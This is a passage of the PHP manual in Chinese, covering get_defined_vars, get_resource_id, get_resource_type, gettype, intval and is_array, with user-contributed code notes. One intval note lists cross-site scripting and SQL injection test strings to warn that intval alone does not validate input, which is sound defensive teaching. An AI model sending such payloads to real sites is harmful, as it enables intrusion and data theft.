   * Filters out global vars from get_defined_vars() in order to get local vars only
   * @param array $localVars pass get_defined_vars() here
   *
   * @return array local vars only
   */
  function removeGlobals(array $localVars) {
    return array_diff_key($localVars, $GLOBALS);
  }

  define('CONFIG_FILE_PATH', '/path/to/config.php');
  function readConfig() {
    require CONFIG_FILE_PATH;
    $config = removeGlobals(get_defined_vars());
    return $config;
  }

?>
Joey 11-Jun-2018 07:22
I posted here before about "this" being in get_defined_vars.

It turns out it's not always there but in certain cases it will inexplicably appear.

    php -r '
    class Test {
        public function a() {var_dump(array_keys(get_defined_vars()));$a = 123;}
        public function b() {var_dump(array_keys(get_defined_vars()));$this;}
    }
    $t = new Test();
    $t->a();
    $t->b();
    '

    array()
    array('this')

This does not happen in PHP 7.2 but will happen in PHP 5.6.
Joey 24-Apr-2018 08:30
Some comments here point out that this function wont return references. It does however return names and names are "references".

I would not recommend the suggestions here that convert it to references.

Instead...

    public function x($a, $b, $c) {
        foreach(array_keys(get_defined_vars()) as $key)
            if($key !== 'this')
                $this->y(${$key});
    }

    public function y(&$input) {
        $input++;
    }

Instead of ${} you can also use $$.

I have done some whacky things in my time to make extremely generic code but I've never had to do anything like the above. It might not even work (but should since it's no different to $a[$key]).

You could also do $$key++ but I've never seen code like that which wasn't horrifically bad (using dynamic where dynamic isn't beneficial).

If you're doing something like that then give it additional scrutiny.
Joey 24-Apr-2018 08:20
I occasionally use this as a hack to convert arguments to an array where terseness is needed (dealing with legacy code, etc).

However in an object context it'll also pull in $this.

Make sure to unset it. If you map it to properties or an array then setting the key this wont be an error.

I recommend using a wrapper function that strips this from the result.
istiaquealamjoy at gmail dot com 23-May-2017 05:37
for all those who don't know how to us this function. copy and run this code in your computer  .

note: you need to know what superglobals are.....

<?php

$A = 5  ;
$B = 10 ;
$C = 15 ;
$D = 20 ;

$F = get_defined_vars($A);

var_dump($F);  //don't use echo. it will show error

?>

Result : will show all superglobals status along with your defined
variables along with its values
sergeyzuzic at mail dot ru 14-Nov-2015 10:35
dirty code sample:

print_r(compact(array_keys(get_defined_vars())));
mail at mkharitonov dot net 01-Jun-2014 07:14
Reference variables are returned by reference (tested on PHP 5.5.11):
<?php
$a = null;
$b = &$a;
get_defined_vars()['b'] = 4;
var_dump($b); // int(4)
?>
ryanlwh at yahoo dot com 02-Apr-2013 05:28
Since get_defined_vars() only gets the variables at the point you call the function, there is a simple way to get the variables defined within the current scope.

<?php
// The very top of your php script
$vars = get_defined_vars();

// Now do your stuff
$foo = 'foo';
$bar = 'bar';

// Get all the variables defined in current scope
$vars = array_diff(get_defined_vars(),$vars);

echo '<pre>';
print_r($vars);
echo '</pre>';
?>
Anonymous 18-Apr-2011 05:32
get_defined_vars() returns ALL the vars (in the current scope), what if you just want all YOUR vars, not PHP's super-globals?

<?php
    var_export(array_diff(get_defined_vars(), array(array())));
?>

Example...

<?php
    $TOP_LEVEL_VAR=1;
    var_export(array_diff(get_defined_vars(), array(array())));
?>

The output (with register_globals off) should be...

array (
  'TOP_LEVEL_VAR' => 1,
)

...it perfectly eliminated all the super-globals, without me having to specify them! (note with register_globals on, the output includes those globals, then TOP_LEVEL_VAR).

Here it is, as a function...(it's the best I could do {I can't call get_defined_vars() inside get_user_defined_vars() cuz of the scope issue}).

<?php
    header('Content-type: text/plain');

    $TOP_LEVEL_VAR=1;

    echo 'register_globals(';
    echo ini_get('register_globals');
    echo ') '.phpversion()."\n";

    var_export(get_user_defined_vars(get_defined_vars()));

    function get_user_defined_vars($vars) {
        return array_diff($vars, array(array()));
    }
?>

Note that originally I had an array of the super-globals I wanted removed from get_defined_vars()'s array, then I noticed even an empty double-array, array(array()), made it give me the correct result. Weird.

This was tested on PHP 5.2.9.
meint at meint dot net 11-Jan-2011 12:46
Please be aware that function_get_vars only returns the variables defined at the point before you call the function_get_vars function, it does not scan the entire function for you, only the lines before you call it.
Johan de Vries 17-Jun-2010 08:09
Note that this only returns things you've used. See http://bugs.php.net/bug.php?id=52110 . So don't expect this to have the $this entry, unless you assign $this to return $this.
donovan at example dot com 21-Oct-2008 09:15
As a note, get_defined_vars() does not return a set of variable references (as I hoped). For example:

<?php

// define a variable
$my_var = "foo";

// get our list of defined variables
$defined_vars = get_defined_vars();

// now try to change the value through the returned array
$defined_vars["my_var"] = "bar";

echo $my_var, "\n";

?>

will output "foo" (the original value). It'd be nice if get_defined_vars() had an optional argument to make them references, but I imagine its a rather specialized request. You can do it yourself (less conveniently) with something like:

<?php

$defined_vars = array();
$var_names = array_keys(get_defined_vars());

foreach ($var_names as $var_name)
{
    $defined_vars[$var_name] =& $$var_name;
}

?>
SyCo 21-Aug-2008 03:52
Here's a very simple function for debugging. It's far from perfect but I find it very handy. It outputs the var value and the var name on a new line. The problem is it'll echo any vars and their name if they share the same value. No big deal when debugging and saves the hassle of writing the HTML and var name when echoing a variable. (ev=echo variable). Using get_defined_vars() inside a function renames the var name to the functions variable so isn't as useful for debugging. Of course, you'll need access to the $GLOBALS array
<?
function ev($variable){
    foreach($GLOBALS as $key => $value){
        if($variable===$value){
            echo '<p>'.$key.' - '.$value.'</p>';
        }
    }
}

$a=0;
ev($a);
$b=0;
ev($b);
$c=0;
ev($c);
?>
Will output
a - 0

a - 0
b - 0

a - 0
b - 0
c - 0
zabmilenko at hotmail dot com 31-Aug-2006 07:32
A little gotcha to watch out for:

If you turn off RegisterGlobals and related, then use get_defined_vars(), you may see something like the following:

<?php
Array
(
    [GLOBALS] => Array
        (
            [GLOBALS] => Array
 *RECURSION*
            [_POST] => Array()
            [_GET] => Array()
            [_COOKIE] => Array()
            [_FILES] => Array()
        )

    [_POST] => Array()
    [_GET] => Array()
    [_COOKIE] => Array()
    [_FILES] => Array()

)
?>

Notice that $_SERVER isn't there.  It seems that php only loads the superglobal $_SERVER if it is used somewhere.  You could do this:

<?php
print '<pre>' . htmlspecialchars(print_r(get_defined_vars(), true)) . '</pre>';
print '<pre>' . htmlspecialchars(print_r($_SERVER, true)) . '</pre>';
?>

And then $_SERVER will appear in both lists.  I guess it's not really a gotcha, because nothing bad will happen either way, but it's an interesting curiosity nonetheless.
lbowerh at adelphia dot net 04-Jun-2004 08:19
Here is a function which generates a debug report for display or email
using get_defined_vars. Great for getting a detailed snapshot without
relying on user input.

<?php
function generateDebugReport($method,$defined_vars,$email="undefined"){
    // Function to create a debug report to display or email.
    // Usage: generateDebugReport(method,get_defined_vars(),email[optional]);
    // Where method is "browser" or "email".

    // Create an ignore list for keys returned by 'get_defined_vars'.
    // For example, HTTP_POST_VARS, HTTP_GET_VARS and others are
    // redundant (same as _POST, _GET)
    // Also include vars you want ignored for security reasons - i.e. PHPSESSID.
    $ignorelist=array("HTTP_POST_VARS","HTTP_GET_VARS",
    "HTTP_COOKIE_VARS","HTTP_SERVER_VARS",
    "HTTP_ENV_VARS","HTTP_SESSION_VARS",
    "_ENV","PHPSESSID","SESS_DBUSER",
    "SESS_DBPASS","HTTP_COOKIE");

    $timestamp=date("m/d/y h:m:s");
    $message="Debug report created $timestamp\n";

    // Get the last SQL error for good measure, where $link is the resource identifier
    // for mysql_connect. Comment out or modify for your database or abstraction setup.
    global $link;
    $sql_error=mysql_error($link);
    if($sql_error){
      $message.="\nMysql Messages:\n".mysql_error($link);
    }
    // End MySQL

    // Could use a recursive function here. You get the idea ;-)
    foreach($defined_vars as $key=>$val){
      if(is_array($val) && !in_array($key,$ignorelist) && count($val) > 0){
        $message.="\n$key array (key=value):\n";
        foreach($val as $subkey=>$subval){
          if(!in_array($subkey,$ignorelist) && !is_array($subval)){
            $message.=$subkey." = ".$subval."\n";
          }
          elseif(!in_array($subkey,$ignorelist) && is_array($subval)){
            foreach($subval as $subsubkey=>$subsubval){
              if(!in_array($subsubkey,$ignorelist)){
                $message.=$subsubkey." = ".$subsubval."\n";
              }
            }
          }
        }
      }
      elseif(!is_array($val) && !in_array($key,$ignorelist) && $val){
        $message.="\nVariable ".$key." = ".$val."\n";
      }
    }

    if($method=="browser"){
      echo nl2br($message);
    }
    elseif($method=="email"){
      if($email=="undefined"){
        $email=$_SERVER["SERVER_ADMIN"];
      }

      $mresult=mail($email,"Debug Report for ".$_ENV["HOSTNAME"]."",$message);
      if($mresult==1){
        echo "Debug Report sent successfully.\n";
      }
      else{
        echo "Failed to send Debug Report.\n";
      }
    }
}
?>
jgettys at gnuvox dot com 22-Feb-2002 07:09
Simple routine to convert a get_defined_vars object to XML.

<?php
function obj2xml($v, $indent='') {
  while (list($key, $val) = each($v)) {
    if ($key == '__attr') continue;
    // Check for __attr
    if (is_object($val->__attr)) {
      while (list($key2, $val2) = each($val->__attr)) {
        $attr .= " $key2=\"$val2\"";
      }
    }
    else $attr = '';
    if (is_array($val) || is_object($val)) {
      print("$indent<$key$attr>\n");
      obj2xml($val, $indent.'  ');
      print("$indent</$key>\n");
    }
    else print("$indent<$key$attr>$val</$key>\n");
  }
}

//Example object
$x->name->first = "John";
$x->name->last = "Smith";
$x->arr['Fruit'] = 'Bannana';
$x->arr['Veg'] = 'Carrot';
$y->customer = $x;
$y->customer->__attr->id='176C4';

$z = get_defined_vars();
obj2xml($z['y']);
?>

will output:
<customer id="176C4">
  <name>
    <first>John</first>
    <last>Smith</last>
  </name>
  <arr>
    <Fruit>Bannana</Fruit>
    <Veg>Carrot</Veg>
  </arr>
</customer>


返回给定资源的整数标识符

  • ? get_defined_vars
  • get_resource_type ?
  • PHP Manual
  • 变量处理函数
  • 返回给定资源的整数标识符

get_resource_id

(PHP 8)

get_resource_id — 返回给定资源的整数标识符

说明

get_resource_id(resource $resource): int

此函数提供了一种类型安全的方式来生成资源的整数标识符。

参数

resource

需要获取的资源句柄。

返回值

给定 resource 的 int 标识符。

此函数本质上是对 resource 的 int 转换，使得更容易获取资源的标识符。

示例

Example #1 get_resource_id() 与 int 转换的结果相同

<?php
$handle = fopen("php://stdout", "w");

echo (int) $handle . "\n";

echo get_resource_id($handle);

?>

以上示例的输出类似于：

698
698

参见

  • get_resource_type() - 返回资源类型

User Contributed Notes

There are no user contributed notes for this page.


返回资源类型

  • ? get_resource_id
  • gettype ?
  • PHP Manual
  • 变量处理函数
  • 返回资源类型

get_resource_type

(PHP 4 >= 4.0.2, PHP 5, PHP 7, PHP 8)

get_resource_type — 返回资源类型

说明

get_resource_type(resource $resource): string

此函数获取指定资源的类型。

参数

resource

要求值的资源句柄。

返回值

如果指定 resource 是资源，则此函数将返回表示其类型的字符串。如果此函数未识别类型，则返回值是字符串 Unknown。

如果 resource 不是 resource，则此函数将返回 null 并生成错误。

示例

Example #1 get_resource_type() 示例

<?php
$fp = fopen("foo", "w");
echo get_resource_type($fp) . "\n";

// 从 PHP 8.0.0 开始，以下内容不再起作用。curl_init 函数现在返回 CurlHandle 对象。
$c = curl_init();
echo get_resource_type($c) . "\n";
?>

以上示例在 PHP 7 中的输出：

stream
curl

参见

  • get_resource_id() - 返回给定资源的整数标识符

User Contributed Notes

CertaiN 17-Jan-2014 05:04
Try this to know behavior:

<?php
function resource_test($resource, $name) {
    echo
        '[' . $name. ']',
        PHP_EOL,
        '(bool)$resource => ',
        $resource ? 'TRUE' : 'FALSE',
        PHP_EOL,
        'get_resource_type($resource) => ',
        get_resource_type($resource) ?: 'FALSE',
        PHP_EOL,
        'is_resoruce($resource) => ',
        is_resource($resource) ? 'TRUE' : 'FALSE',
        PHP_EOL,
        PHP_EOL
    ;
}

$resource = tmpfile();
resource_test($resource, 'Check Valid Resource');

fclose($resource);
resource_test($resource, 'Check Released Resource');

$resource = null;
resource_test($resource, 'Check NULL');
?>

It will be shown as...

[Check Valid Resource]
(bool)$resource => TRUE
get_resource_type($resource) => stream
is_resoruce($resource) => TRUE

[Check Released Resource]
(bool)$resource => TRUE
get_resource_type($resource) => Unknown
is_resoruce($resource) => FALSE

[Check NULL]
(bool)$resource => FALSE
get_resource_type($resource) => FALSE
Warning:  get_resource_type() expects parameter 1 to be resource, null given in ... on line 10
is_resoruce($resource) => FALSE


获取变量的类型

  • ? get_resource_type
  • intval ?
  • PHP Manual
  • 变量处理函数
  • 获取变量的类型

gettype

(PHP 4, PHP 5, PHP 7, PHP 8)

gettype — 获取变量的类型

说明

gettype(mixed $value): string

返回 PHP value 变量的类型。 对于类型检查，请使用 is_* 函数。

参数

value

要检查类型的变量。

返回值

返回字符串，可能值为：

  • "boolean"
  • "integer"
  • "double" （由于历史原因，如果是浮点型，则返回 "double"，而不仅仅是 "float"）
  • "string"
  • "array"
  • "object"
  • "resource"
  • "resource (closed)" 自 PHP 7.2.0 起
  • "NULL"
  • "unknown type"

更新日志

版本 | 说明
7.2.0 | 现在，已关闭的资源报告为 'resource (closed)'。此前，已关闭的资源报告为 'unknown type'。

示例

Example #1 gettype() 示例

<?php

$data = array(1, 1., NULL, new stdClass, 'foo');

foreach ($data as $value) {
echo gettype($value), "\n";
}

?>

以上示例的输出类似于：

integer
double
NULL
object
string

参见

  • get_debug_type() - 以适合调试的方式获取变量的类型名称
  • settype() - 设置变量的类型
  • get_class() - 返回对象的类名
  • is_array() - 检测变量是否是数组
  • is_bool() - 检测变量是否是布尔值
  • is_callable() - 验证值是否可以在当前范围内作为函数调用。
  • is_float() - 查找变量的类型是否是浮点型
  • is_int() - 检测变量是否是整数
  • is_null() - 检测变量是否是 null
  • is_numeric() - 检测变量是否为数字或数字字符串
  • is_object() - 查找变量是否是对象
  • is_resource() - 查找变量是否为资源
  • is_scalar() - 检测变量是否是一个标量
  • is_string() - 查找变量的类型是否是字符串
  • function_exists() - 如果给定的函数已经被定义就返回 true
  • method_exists() - 检查类的方法是否存在

User Contributed Notes

mohammad dot alavi1990 at gmail dot com 11-Jun-2023 12:37
Be careful comparing ReflectionParameter::getType() and gettype() as they will not return the same results for a given type.

string - string // OK
int - integer // Type mismatch
bool - boolean // Type mismatch
array - array // OK
Anonymous 20-Jan-2022 06:59
Same as for "boolean" below, happens with integers. gettype() return "integer" yet proper type hint is "int".

If your project is PHP8+ then you should consider using get_debug_type() instead which seems to return proper types that match used for type hints.


获取变量的整数值

  • ? gettype
  • is_array ?
  • PHP Manual
  • 变量处理函数
  • 获取变量的整数值

intval

(PHP 4, PHP 5, PHP 7, PHP 8)

intval — 获取变量的整数值

说明

intval(mixed $value, int $base = 10): int

通过使用指定的进制 base 转换（默认是十进制），返回变量 value 的 int 数值。 intval() 不能用于 object，否则会产生 E_WARNING 错误并返回 1。

参数

value

要转换成 integer 的数量值

base

转化所使用的进制

Note:

如果 base 是 0，通过检测 value 的格式来决定使用的进制：

  • 如果字符串包括了 "0x" (或 "0X") 的前缀，使用 16 进制 (hex)；否则，
  • 如果字符串以 "0b" (或 "0B") 开头，使用 2 进制 (binary)；否则，
  • 如果字符串以 "0" 开始，使用 8 进制(octal)；否则，
  • 将使用 10 进制 (decimal)。

返回值

成功时返回 value 的 integer 值，失败时返回 0。 空的 array 返回 0，非空的 array 返回 1。

最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例，在这样的系统上，intval('1000000000000') 会返回 2147483647。64 位系统上，最大带符号的 integer 值是 9223372036854775807。

字符串有可能返回 0，虽然取决于字符串最左侧的字符。 使用 整型转换 的共同规则。

更新日志

版本 | 说明
8.0.0 | 对象转换时的错误级别已从 E_NOTICE 更改为 E_WARNING。

示例

Example #1 intval() 例子

下面的例子运行于 64 位系统上。

<?php
echo intval(42); // 42
echo intval(4.2); // 4
echo intval('42'); // 42
echo intval('+42'); // 42
echo intval('-42'); // -42
echo intval(042); // 34
echo intval('042'); // 42
echo intval(1e10); // 10000000000
echo intval('1e10'); // 10000000000
echo intval(0x1A); // 26
echo intval('0x1A'); // 0
echo intval('0x1A', 0); // 26
echo intval(42000000); // 42000000
echo intval(420000000000000000000); // -4275113695319687168
echo intval('420000000000000000000'); // 9223372036854775807
echo intval(42, 8); // 42
echo intval('42', 8); // 34
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
echo intval(false); // 0
echo intval(true); // 1
?>

注释

Note:

除非 value 是一个字符串，否则 base 不会起作用。

参见

  • boolval() - 获取变量的布尔值
  • floatval() - 获取变量的浮点值
  • strval() - 获取变量的字符串值
  • settype() - 设置变量的类型
  • is_numeric() - 检测变量是否为数字或数字字符串
  • 类型转换的判别
  • BCMath 任意精度数学函数

User Contributed Notes

Anony Moose 15-May-2020 03:46
As a warning, do not use this function alone for input validation.

Vulnerable example:
<?php
if(isset($_GET['id']) && intval($_GET['id']) > 0){
    echo $id;
}
?>

The following requests would pass this filter:

/page.php?id=10
/page.php?id=10oops
/page.php?id=10<script>alert(1)</script>
/page.php?id=1' OR '1'='1
/page.php?id[]=<script>alert(1)</script>

Instead use the is_numeric() function for integer validation:

<?php
echo intval("10oops"); // 10
echo is_numeric("10oops");  // false
?>

Secure example:
<?php
if(isset($_GET['id']) && is_numeric($_GET['id']) && intval($_GET['id']) > 0){
    echo $id;
}
?>
Anonymous 12-Feb-2020 05:14
PHP 7.2

$test = intval(150.20*100); //15019
$test2 = intval(15020); //15020
$test3 = intval(15020.0); //15020
$test4 = 150.20*100; //15020.0
chinmay235 at gmail dot com 10-May-2018 05:57
<?php
echo intval("10 days");          //10
echo intval("days 10");          //0
?>
Anthony 21-Apr-2018 12:28
The binary notation is NOT supported until php7.2
<?php
                         // PHP <7.2 | PHP >=7.2
echo intval(0b11);       //    3     |     3
echo intval(-0b11);      //   -3     |    -3
echo intval('0b11');     //    0     |     0
echo intval('-0b11');    //    0     |     0
echo intval('0b11', 0);  //    0     |     3
echo intval('-0b11', 0); //    0     |    -3
?>
leon at leonidasjp dot nl 27-Jan-2017 03:35
It seems intval is interpreting valid numeric strings differently between PHP 5.6 and 7.0 on one hand, and PHP 7.1 on the other hand.

<?php
echo intval('1e5');
?>

will return 1 on PHP 5.6 and PHP 7.0,
but it will return 100000 on PHP 7.1.
taylorsarrafian at gmail dot com 11-Jul-2015 04:45
beware:

<?php

   // observe the following
   echo intval( strval( -0.0001 ) ); // 0
   echo intval( strval( -0.00001 ) ); // -1

   // this is because
   echo strval( -0.0001 ); // -.0001
   echo strval( -0.00001 ); // -1.0E-5

   // thus beware when using
   function trunc2_bad( $n ) {
      return intval( strval( $n * 100 ) / 100 );
   }

   // use this instead
   function trunc2_good( $n ) {
      return intval( floatval( strval( $n * 100 )  ) / 100 );
   }

?>
pfreet at gmail dot com 25-Apr-2013 05:27
Do not use intval() when you really want round(). This is due to how PHP handles precision.

echo number_format(8.20*100, 20), "<br />";
echo intval(8.20*100), "<br />";
echo floor(8.20*100), "<br />";
echo round(8.20*100), "<br />";

819.99999999999988631316
819
819
820
espertalhao04 at hotmail dot com 06-Mar-2013 09:58
if you want to take a number from a string, no matter what it may contain, here is a good solution:

<?php
function int($s){return(int)preg_replace('/[^\-\d]*(\-?\d*).*/','$1',$s);}

echo int('j18ugj9hu0gj5hg');
//output: 18
?>
this example returns an int, so it will follow the int rules, and has support for negative values.

<?php
function int($s){return($a=preg_replace('/[^\-\d]*(\-?\d*).*/','$1',$s))?$a:'0';}

echo int('j-1809809808908099878758765ugj9hu0gj5hg');
//output: -1809809808908099878758765
?>

this one returns a string with just the numeric value.
it also supports negative values.

the latter is better when you have a 32 bit system and you want a huge int that is higher than PHP_MAX_INT.
Ken 11-Nov-2011 11:50
Not mentioned elsewhere: intval(NULL) also returns 0.
yves 27-Dec-2010 08:53
The behaviour of intval() is interesting when supplying a base, and you better check your intval base-based expressions, as it is counter-intuitive.
As the example shows
<?php
  intval('42', 8); // => 34
  intval(42, 8);   // => 42 !
?>
PHP considers the 42 as being already an integer, and doesn't apply any conversion. And supplying
<?php
  intval(49, 8);  // => 49 !
?>
produces no error and no warning.
winbill at hotmail dot com 16-Dec-2010 08:31
Be careful :

<?php
$n="19.99";
print intval($n*100); // prints 1998
print intval(strval($n*100)); // prints 1999
?>
spoon_reloaded at gmail dot com 21-Jun-2009 10:35
Here is a really useful undocumented feature:

You can have it automatically deduce the base of the number from the prefix of the string using the same syntax as integer literals in PHP ("0x" for hexadecimal, "0" for octal, non-"0" for decimal) by passing a base of 0 to intval():

<?php
echo intval("0x1a", 0), "\n"; // hex; prints "26"
echo intval("057", 0), "\n"; // octal; prints "47"
echo intval("42", 0), "\n"; // decimal; prints "42"
?>
mkamerma at science dot uva dot nl 06-Mar-2006 11:48
As addendum, the "if ($int > 0)" check in the encode function is redundant. It doesn't do anything bad to keep it in since it will always be true when reaching that point, but it's a meaningless conditional this way. It's a remnant from when I tried to write the function in terms of bitshifts, which could lead to negative ints when shifting if the 32nd bit was set (instead of always padding with 0's when using >> it pads with 1's leading to negative ints).
simon at npkk dot cz 30-Jan-2006 08:03
Still have on mind, that if you convert big numbers by adding zero, PHP makes automatic "to a float" conversion, so it is same as floatVal(). So if the number is realy big (over 13 digits), you can lose preciosity. Do not use it for such long numbers, if all bits do matter (IPv6 addresses and similar).
Ben Laurienti 16-Jan-2006 01:21
You guys are going to love this.  I found something that I found quite disturbing.

$test1 = intVal(1999);

$amount = 19.99 * 100;
$test2 = intVal($amount);
$test3 = intVal("$amount");

echo $test1 . "<br />\n";
echo $test2 . "<br />\n";
echo $test3 . "<br />\n";

expected output:
1999
1999
1999

actual output
1999
1998
1999

Appears to be a floating point issue, but the number 1999 is the only number that I was able to get to do this.  19.99 is the price of many things, and for our purpose we must pass it as 1999 instead of 19.99.
tuxedobob at mac dot com 07-Feb-2004 04:56
Sometimes intval just won't cut it. For example if you want to use an unsigned 32-bit int and need all 32 bits. Recently, I wrote a little script that took and integer and converted it to an IP address. After realizing I couldn't just mod the whole thing, since the sign bit throws it off (and compensating for that), we ran into a problem where if it was entered into a form, the value somehow wasn't converted to an integer properly, at least not implicitly. The solution for this, and the way I recommend converting a string to an integer, is:

$num = $num + 0;

and PHP will leave your number alone; it'll just know it's a number. Such is the fun of a loosely-typed language. :)
zak at php dot net 12-Aug-2000 01:38
intval converts doubles to integers by truncating the fractional component of the number.

When dealing with some values, this can give odd results.  Consider the following:

print intval ((0.1 + 0.7) * 10);

This will most likely print out 7, instead of the expected value of 8.

For more information, see the section on floating point numbers in the PHP manual (http://www.php.net/manual/language.types.double.php)

Also note that if you try to convert a string to an integer, the result is often 0.

However, if the leftmost character of a string looks like a valid numeric value, then PHP will keep reading the string until a character that is not valid in a number is encountered.

For example:

"101 Dalmations" will convert to 101

"$1,000,000" will convert to 0 (the 1st character is not a valid start for a number

"80,000 leagues ..." will convert to 80

"1.4e98 microLenats were generated when..." will convert to 1.4e98

Also note that only decimal base numbers are recognized in strings.

"099" will convert to 99, while "0x99" will convert to 0.

One additional note on the behavior of intval.  If you specify the base argument, the var argument should be a string - otherwise the base will not be applied.

For Example:

print intval (77, 8);   // Prints 77
print intval ('77', 8); // Prints 63


检测变量是否是数组

  • ? intval
  • is_bool ?
  • PHP Manual
  • 变量处理函数
  • 检测变量是否是数组

is_array

(PHP 4, PHP 5, PHP 7, PHP 8)

is_array — 检测变量是否是数组

说明

is_array(mixed $value): bool

检测变量是否是数组。

参数

value

待检测的变量。

返回值

如果 value 是 array，则返回 true，否则返回 false。

示例

Example #1 检测变量是否为数组

<?php
$yes = array('this', 'is', 'an array');
echo is_array($yes) ? 'Array' : 'not an Array';
echo "\n";
$no = 'this is a string';
echo is_array($no) ? 'Array' : 'not an Array';
?>

以上示例会输出：

Array
not an Array

参见

  • array_is_list() - 判断给定的 array 是否为 list
  • is_float() - 查找变量的类型是否是浮点型
  • is_int() - 检测变量是否是整数
  • is_string() - 查找变量的类型是否是字符串
  • is_object() - 查找变量是否是对象

User Contributed Notes

Daniel 14-Jul-2019 06:54
The next post is not correct because has problems with blank array index:
https://www.php.net/manual/es/function.is-array.php#89332

The next code use the above link php code

<?php
function is_assoc($var)
{
        return is_array($var) && array_diff_key($var,array_keys(array_keys($var)));
}

function test($var)
{
        echo is_assoc($var) ? "I'm an assoc array.\n" : "I'm not an assoc array.\n";
}

// an assoc array
$a = array("a"=>"aaa","b"=>1,"c"=>true);
test($a);

// maybe assoc array?
$b = array(0 => "aaa", 1 => 1, 3 => true); // Index 2 not exist
test($b);
?>

# Output
I'm an assoc array.
I'm an assoc array.

"Associative arrays are arrays that use named keys that you assign to them."
https://www.w3schools.com/php/php_arrays.asp

Solution:

<?php
function is_assoc(array $array)
{
    return count(array_filter(array_keys($array), 'is_string')) > 0;
}
function test(array $array)
{
    echo is_assoc($array) ? "I'm an assoc array.\n" : "I'm not an assoc array.\n";
}
// an assoc array
$a = array("a"=>"aaa","b"=>1,"c"=>true);
test($a);
// an array
$b = array(0=>"aaa",1=>1,3=>true);
test($b);
?>

# Output
I'm an assoc array.
I'm not an assoc array.

If you want check pure assoc. array replace > 0 by === count($array)
lrgbx0 at gmail dot com 10-May-2018 08:48
is_assoc() Benchmark:

<?php

function is_assoc1($array) {
    if (!is_array($array)) return false;
    $i = count($array);
    while ($i > 0) unset($array[--$i]);
    return (bool)$array;
}

function is_assoc2(&$array) {
    if (!is_array($array)) return false;
    $i = count($array);
    while ($i > 0) {
        if (!isset($array[--$i])) return true;
    }
    return false;
}

function is_assoc3(&$array) {
    if (!is_array($array)) return false;
    $i = count($array);
    while ($i > 0) {
        if (!array_key_exists(--$i, $array)) return true;
    }
    return false;
}

function is_assoc4($array) {
    if (!is_array($array)) return false;
    ksort($array);
    foreach (array_keys($array) as $k => $v) {
        if ($k !== $v) return true;
    }
    return false;
}

function is_assoc5(&$array) {
    return is_array($array) && array_diff_key($array, array_keys($array));
}

$arr1 = array(); // not associative
$arr2 = $arr3 = array('foo', 'bar', 'baz', 'foo', 'bar', 'baz', 'foo', 'bar', 'baz', 'foo'); // not associative
asort($arr3); // not associative, shuffled keys
$arr4 = array('foo', 'bar', 'baz', 'foo', 'bar', null, 'foo', 'bar', 'baz', 'foo'); // not associative but is_assoc2() thinks it is
$arr5 = array(0 => 'foo', 1 => 'bar', 2 => 'baz', 3 => 'foo', 4 => 'bar', 5 => 'baz', 'foo3' => 'foo', 'bar3' => 'bar', 'baz3' => 'baz', 'foo4' => 'foo'); // associative

$i = $j = 0;
$time = array(0.0, 0.0, 0.0, 0.0, 0.0);

for ($j = 0; $j < 2000; $j++) {
    $time[0] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc1($arr1) || is_assoc1($arr2) || is_assoc1($arr3) || is_assoc1($arr4) || !is_assoc1($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[0] += microtime(true);
    $time[1] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc2($arr1) || is_assoc2($arr2) || is_assoc2($arr3) || !is_assoc2($arr4) || !is_assoc2($arr5)) { // $arr4 tweaked
            echo 'error';
            break;
        }
    }
    $time[1] += microtime(true);
    $time[2] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc3($arr1) || is_assoc3($arr2) || is_assoc3($arr3) || is_assoc3($arr4) || !is_assoc3($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[2] += microtime(true);
    $time[3] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc4($arr1) || is_assoc4($arr2) || is_assoc4($arr3) || is_assoc4($arr4) || !is_assoc4($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[3] += microtime(true);
    $time[4] -= microtime(true);
    for ($i = 0; $i < 1000; $i++) {
        if (is_assoc5($arr1) || is_assoc5($arr2) || is_assoc5($arr3) || is_assoc5($arr4) || !is_assoc5($arr5)) {
            echo 'error';
            break;
        }
    }
    $time[4] += microtime(true);
}

echo 'is_assoc1(): ' . $time[0] . "\n";
echo 'is_assoc2(): ' . $time[1] . "\n";
echo 'is_assoc3(): ' . $time[2] . "\n";
echo 'is_assoc4(): ' . $time[3] . "\n";
echo 'is_assoc5(): ' . $time[4] . "\n";

?>

is_assoc1() - uses unset(), a bit slow, but mem friendly and no function calls
is_assoc2() - uses isset(), fastest one, but returns TRUE whenever array contains NULL
is_assoc3() - fixed is_assoc2(), uses array_key_exists(), fast and memory friendly, and much smarter than the following (no need to check all those keys)
is_assoc4() - alex' version with proper check and key sorting
is_assoc5() - fixed a bit JTS' version, really nice one, but uses too many functions and checks all keys

Results:

is_assoc1(): 2.1628699302673
is_assoc2(): 1.1079933643341
is_assoc3(): 1.7120850086212
is_assoc4(): 3.9194552898407
is_assoc5(): 1.9509885311127
rik at mmod dot co 12-Apr-2018 05:39
Using is_array prior to an in_array within an if clause will safely escape a check against a variable that could potentially be a non-array when using in_array.  For instance:

NOTE: A real use case might be that we have a list of possible flags which  in a database we have stored whether each of the flags are 0 or 1.  We want a list of the flags which have the value of 1 to be returned.

Our example here will not use so many technical artifacts, but will be based on similar logic just to get the point across.

<?php

// We have a list of known values
$knownVars = ['apple', 'orange'];

// A list of values to check
$listToCheck = ['pear', 'banana'];

// And a method that takes a list of values to check and returns a new list
// of the items from said list that are found to be valid...
public function getValidItemsList( $listToCheck /*['pear', 'banana']*/)
{
    $returnList = [];
    foreach($listToCheck as $key => $val)
    {
        if(in_array($val, $knownVars))
        {
            array_push($returnList, $val);
        }
    }

    if(empty($returnList))
    {
        // We have a special case if there were no valid items found, which is the case we are going over
        return  -1;
    }

    // Otherwise, normally returns a list of the items that were found to be valid
    return $returnList;
}

// Call the method and check for any valid items that can be used for some purpose
$validItemsList =  getValidItemsList($listToCheck);

// In this usage we could potentially get an exception because
// in_array() expects an array for argument #2, checking that the value != -1 does not escape the if statement:
if(isset($validItemsList) && $validItemsList != -1 && in_array('apple', $validItemsList))
{
    //...
}

// In this usage, we break free from the if statement safely:
if(isset($validItemsList) && $validItemsList != -1 && is_array($validItemsList) && in_array('apple', $validItemsList))
{
    //...
}

?>

Hope that can help someone, I know it helped me.
gwschnell at ewe dot net 22-Mar-2018 04:58
